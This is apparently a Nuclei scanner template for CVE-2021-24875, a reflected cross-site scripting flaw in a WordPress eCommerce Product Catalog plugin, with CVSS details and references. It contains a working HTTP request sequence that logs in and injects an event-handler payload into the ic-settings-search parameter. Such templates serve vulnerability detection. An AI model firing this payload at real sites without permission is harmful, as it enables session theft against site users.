WordPress eCommerce Product Catalog plugin before 3.0.39 contains a cross-site scripting vulnerability. The plugin does not escape the ic-settings-search parameter before outputting it back in the page in an attribute. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: CVE-2021-24875
info:
name: WordPress eCommerce Product Catalog <3.0.39 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
WordPress eCommerce Product Catalog plugin before 3.0.39 contains a cross-site scripting vulnerability. The plugin does not escape the ic-settings-search parameter before outputting it back in the page in an attribute. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: Fixed in version 3.0.39.
reference:
- https://wpscan.com/vulnerability/652efc4a-f931-4668-ae74-a58b288a5715
- https://nvd.nist.gov/vuln/detail/CVE-2021-24875
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24875
cwe-id: CWE-79
epss-score: 0.16493
epss-percentile: 0.94662
cpe: cpe:2.3:a:implecode:ecommerce_product_catalog:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: implecode
product: ecommerce_product_catalog
framework: wordpress
tags: cve2021,cve,wp,authenticated,wpscan,ecommerce-product-catalog,xss,wordpress,wp-plugin,implecode
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/edit.php?post_type=al_product&page=product-settings.php&ic-settings-search=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29%2F%2F HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(body_2, "alert(document.domain)")'
- 'contains(body_2, "eCommerce Product Catalog")'
condition: and
# digest: 490a0046304402202d382d875543353c8d079d345a98fb1b2bff9a063182780d8ba87feafb0d1fe50220467f862f532a6469b491f60d3cc0bfbfaaa411df4c8f19bede160e758ae3d651:922c64590222798bb761d5b6d8e72950